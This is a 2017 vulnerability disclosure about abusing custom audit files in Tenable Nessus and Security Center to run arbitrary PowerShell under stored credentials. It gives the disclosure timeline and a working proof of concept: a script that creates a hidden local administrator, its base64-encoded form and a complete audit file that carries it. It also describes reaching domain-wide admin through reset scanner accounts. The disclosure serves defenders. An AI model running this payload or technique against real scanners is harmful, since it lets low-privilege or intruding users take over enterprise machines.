
# Title: Abuse of Tenable Nessus/Security Center with Audit Files and Powershell.

Class: **Exploit Delivery System/RBAC Bypass/Insider Abuse.**

Date Published: 2017-07-27

Last Update: 2017-06-22

**Vendors contacted: Tenable Network Security - https://www.tenable.com**

- 2016-12-05 - First notification sent by Wylie Bayes to Tenable Consultant Jack Daniel.
- 2016-12-07 - Acknowledgement of first notification received from Tenable team.
- 2017-01-04 - Sent follow up email for progress update to Tenable team.
- 2017-01-04 - Received update from Tenable stating two teams were working on the problem, with two possible solutions being explored.
- 2017-02-01 - Sent follow up email for progress update to Tenable team.
- 2017-02-01 - Received response and new .nbin file to test.
- 2017-02-02 - Tested .nbin file from Tenable but were still able to create local admins. Sent results back to Tenable team.
- 2017-02-03 - Received 2nd .nbin file for testing from Tenable team.
- 2017-02-06 - Tested 2nd .nbin file but were still able to create local admins. Sent results back to Tenable team.
- 2017-02-06 - Received request for example code / audit file from Tenable team to demonstrate how local admins were being created.
- 2017-02-06 - Provided the requested information to Tenable team.
- 2017-02-06 - Received 3rd .nbin file for testing from Tenable team.
- 2017-02-06 - Tested 3rd .nbin file and NO local admin was created. Success!
- 2017-02-06 - Requested release date, and plugin ID# of fix as soon as they had the information.
- 2017-02-06 - Received acknowledgement that the information would be sent as soon as it was known by Tenable team.
- 2017-02-13 - Received release plan information from Tenable team.
- 2017-02-13 - New plugin released. Plugin ID# 21156 , version 1.252. Published into update Feed!
- 2017-02-14 - Confirmed new plugin was published by Tenable team.
- 2017-02-15 - Received request from Tenable to not publish findings due to investigation of this issue, leading to other compliance scanning abuse. Specifically mentioned "Unix" compliance

auditing being vulnerable as well.

- 2017-02-15 - Agreed to not disclose until other compliance abuse problems are fixed, and that a Tenable security advisory is published giving Wylie Bayes credit for the initial finding.
- 2017-03-14 - Sent follow up message to Brian Martin at Tenable. Received response but nothing useful. Extended to "3 month" estimate, vice previously stated 2 month estimate on 2/15, and stated he would follow up again at the "half way point."
- 2017-04-14 - Contacted Tenable again for an update. Did not receive any useful information.
- 2017-04-19 - Received update repeating prior information with nothing useful.
- 2017-05-03 - Sent email express my concerns of lack of transparency and lack progress updates. The estimated "3 month" timeline to fix "the unix side" is about to expire. (05/14/17)
- 2017-05-05 – No response to 5/3 email. Has been a total of 5months since disclosure without being able to publish the findings while customers sit vulnerable and unaware.
- 2017-05-17 - Email from my Tenable POC stating as of this date he was no longer with Tenable and passed me off to their generic "vulnreport@tenable.com" address.
- 2017-05-17 - Sent email to generic address requesting new POC and more solid / transparent timeline.
- 2017-05-22 - Sent email stating if a new POC is not assigned and timeline not presented within 7 days of this email, the information will go public.
- 2017-06-13 - Made contact with another POC the "Senior Director Product Security" for Tenable.
- 2017-06-16 - Got confirmation from POC that the stance from Tenable is now to implement controls and issue warnings within their UI(user interface) to mitigate this capability and explain its seriousness to admins and users.
- 2017-06-22 - Disclosed to MDA(Missile Defense Agency) due to the serious nature of this unexpected system capability.

## Vulnerability Description:

This product abuse method utilizes credentials stored within Tenable Nessus scanners, or Security Centers to launch custom created Audit files. The custom audit files can then make changes on Windows systems (and others as disclosed by Tenable). The ability to upload custom audit files is given to the lowest level user by default, and the user must simply select and use credentials stored / shared with them.

## Background:

Disclosed this as a product abuse problem due to Tenable's `nessus_compliance_reference.pdf` documentation specifically stating:

"This item uses the field `powershell_args` to specify the arguments that need to be supplied to powershell.exe. If the location of powershell.exe is not default, you must use the `powershell_console_file` keyword to specify the location. Currently only the “get-” cmdlets are supported."

**For example:**

get-hotfix | where-object {$_.hotfixid -ne 'File 1'} | select Description,HotFixID,InstalledBy | format-list"

After successfully completing scans that do various other things without the use of "get-" cmdlets, I concluded this documentation was incorrect, and was part of the disclosure to tenable.

## Technical Description - Exploit Code/Concept:

Custom Audit file / base64 encoded powershell strings. Here is an example of how to create a Local Admin on a machine:

```
$test =
'
$desc = "Admin added with Nessus Bitches"
$password = "ThisPasswordisAwesome2016*"
$username = "TestAdminNessus"
$computername = $env:COMPUTERNAME   # place computername here for remote
access
$computer = [ADSI]"WinNT://$computername,computer"
$user = $computer.Create("user", $username)
$user.SetPassword($password)
$user.Setinfo()
$user.description = $desc
$user.setinfo()
$user.UserFlags = 65536
$user.SetInfo()
$group = [ADSI]("WinNT://$computername/administrators,group")
$group.add("WinNT://$username,user")
'

[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($test))
CgAkAGQAZQBzAGMAIAA9ACAAIgBBAGQAbQBpAG4AIABhAGQAZABlAGQAIAB3AGkAdABoACAATgBlAH
MAcwB1AHMAIABCAGkAdABjAGgAZQBzACIACgAkAHAAYQBzAHMAdwBvAHIAZAAgAD0AIAAiAFQAaABp
AHMAUABhAHMAcwB3AG8AcgBkAGkAcwBBAHcAZQBzAG8AbQBlADIAMAAxADYAKgAiAAoAJAB1AHMAZQ
ByAG4AYQBtAGUAIAA9ACAAIgBUAGUAcwB0AEEAZABtAGkAbgBOAGUAcwBzAHUAcwAiAAoAJABjAG8A
bQBwAHUAdABlAHIAbgBhAG0AZQAgAD0AIAAkAGUAbgB2ADoAQwBPAE0AUABVAFQARQBSAE4AQQBNAE
UAIAAgACAAIwAgAHAAbABhAGMAZQAgAGMAbwBtAHAAdQB0AGUAcgBuAGEAbQBlACAAaABlAHIAZQAg
AGYAbwByACAAcgBlAG0AbwB0AGUAIABhAGMAYwBlAHMAcwAKACQAYwBvAG0AcAB1AHQAZQByACAAPQ
AgAFsAQQBEAFMASQBdACIAVwBpAG4ATgBUADoALwAvACQAYwBvAG0AcAB1AHQAZQByAG4AYQBtAGUA
LABjAG8AbQBwAHUAdABlAHIAIgAKACQAdQBzAGUAcgAgAD0AIAAkAGMAbwBtAHAAdQB0AGUAcgAuAE
MAcgBlAGEAdABlACgAIgB1AHMAZQByACIALAAgACQAdQBzAGUAcgBuAGEAbQBlACkACgAkAHUAcwBl
AHIALgBTAGUAdABQAGEAcwBzAHcAbwByAGQAKAAkAHAAYQBzAHMAdwBvAHIAZAApAAoAJAB1AHMAZQ
ByAC4AUwBlAHQAaQBuAGYAbwAoACkACgAkAHUAcwBlAHIALgBkAGUAcwBjAHIAaQBwAHQAaQBvAG4A
IAA9ACAAJABkAGUAcwBjAAoAJAB1AHMAZQByAC4AcwBlAHQAaQBuAGYAbwAoACkACgAkAHUAcwBlAH
IALgBVAHMAZQByAEYAbABhAGcAcwAgAD0AIAA2ADUANQAzADYACgAkAHUAcwBlAHIALgBTAGUAdABJ
AG4AZgBvACgAKQAKACQAZwByAG8AdQBwACAAPQAgAFsAQQBEAFMASQBdACgAIgBXAGkAbgBOAFQAOg
AvAC8AJABjAG8AbQBwAHUAdABlAHIAbgBhAG0AZQAvAGEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIA
cwAsAGcAcgBvAHUAcAAiACkACgAkAGcAcgBvAHUAcAAuAGEAZABkACgAIgBXAGkAbgBOAFQAOgAvAC
```

```
8AJAB1AHMAZQByAG4AYQBtAGUALAB1AHMAZQByACIAKQAKAA==


test.audit file:

    <check_type: "Windows" version:"2">
    <group_policy: "Test">


    <custom_item>
    type: AUDIT_POWERSHELL
    description:"Create Local Admin"
    value_type: POLICY_TEXT
    value_data: ""
    powershell_args:
"CgAkAGQAZQBzAGMAIAA9ACAAIgBBAGQAbQBpAG4AIABhAGQAZABlAGQAIAB3AGkAdABoACAATgBlA
HMAcwB1AHMAIABCAGkAdABjAGgAZQBzACIACgAkAHAAYQBzAHMAdwBvAHIAZAAgAD0AIAAiAFQAaAB
pAHMAUABhAHMAcwB3AG8AcgBkAGkAcwBBAHcAZQBzAG8AbQBlADIAMAAxADYAKgAiAAoAJAB1AHMAZ
QByAG4AYQBtAGUAIAA9ACAAIgBUAGUAcwB0AEEAZABtAGkAbgBOAGUAcwBzAHUAcwAiAAoAJABjAG8
AbQBwAHUAdABlAHIAbgBhAG0AZQAgAD0AIAAkAGUAbgB2ADoAQwBPAE0AUABVAFQARQBSAE4AQQBNA
EUAIAAgACAAIwAgAHAAbABhAGMAZQAgAGMAbwBtAHAAdQB0AGUAcgBuAGEAbQBlACAAaABlAHIAZQA
gAGYAbwByACAAcgBlAG0AbwB0AGUAIABhAGMAYwBlAHMAcwAKACQAYwBvAG0AcAB1AHQAZQByACAAP
QAgAFsAQQBEAFMASQBdACIAVwBpAG4ATgBUADoALwAvACQAYwBvAG0AcAB1AHQAZQByAG4AYQBtAGU
ALABjAG8AbQBwAHUAdABlAHIAIgAKACQAdQBzAGUAcgAgAD0AIAAkAGMAbwBtAHAAdQB0AGUAcgAuA
EMAcgBlAGEAdABlACgAIgB1AHMAZQByACIALAAgACQAdQBzAGUAcgBuAGEAbQBlACkACgAkAHUAcwB
lAHIALgBTAGUAdABQAGEAcwBzAHcAbwByAGQAKAAkAHAAYQBzAHMAdwBvAHIAZAApAAoAJAB1AHMAZ
QByAC4AUwBlAHQAaQBuAGYAbwAoACkACgAkAHUAcwBlAHIALgBkAGUAcwBjAHIAaQBwAHQAaQBvAG4
AIAA9ACAAJABkAGUAcwBjAAoAJAB1AHMAZQByAC4AcwBlAHQAaQBuAGYAbwAoACkACgAkAHUAcwBlA
HIALgBVAHMAZQByAEYAbABhAGcAcwAgAD0AIAA2ADUANQAzADYACgAkAHUAcwBlAHIALgBTAGUAdAB
JAG4AZgBvACgAKQAKACQAZwByAG8AdQBwACAAPQAgAFsAQQBEAFMASQBdACgAIgBXAGkAbgBOAFQAO
gAvAC8AJABjAG8AbQBwAHUAdABlAHIAbgBhAG0AZQAvAGEAZABtAGkAbgBpAHMAdAByAGEAdABvAHI
AcwAsAGcAcgBvAHUAcAAiACkACgAkAGcAcgBvAHUAcAAuAGEAZABkACgAIgBXAGkAbgBOAFQAOgAvA
C8AJAB1AHMAZQByAG4AYQBtAGUALAB1AHMAZQByACIAKQAKAA=="
    ps_encoded_args : YES
    only_show_cmd_output: YES
    </custom_item>
```

- Uploading this into Nessus, or Tenable Security Center (with the proper licensing,) then attaching it to a scan policy will allow you to use it with credentials that are previously stored within, and then launch a scan to do your bidding.
- Able to execute any cmdlets(or WMI processes) against any domain joined machine, with Domain Admin (DA) rights stored within a Nessus scanner, or Security Center. (Any account type can be abused if it is stored/shared)

To take this a step further I have found that it is possible to reset the admin, or other account password from the CLI if you have root access to the machine on a Security Center. There is also a simple commandline script for Nessus as well. So any box that was compromised in another fashion, could have the accounts reset and the attacker could then login to your scanner or security center and have access to all the credentials stored within for use. In this scenario the attacker could go from having root

on a single server, to having Domain Admin on an entire enterprise in a matter of minutes. Scary stuff.

The only portion of this I tested before disclosing was the Windows/Powershell compliance abuse I have outlined above. This finding lead Tenable to fix other issues with compliance scanning, such as Unix, however I only take credit for the Windows/Powershell research, which has been fixed and confirmed. Due to Tenable's Lack of response and follow up to complete work on this disclosure and inform their customers, it has lead me to disclose to MDA and the DoD so at least our national security can be protected through other mitigations.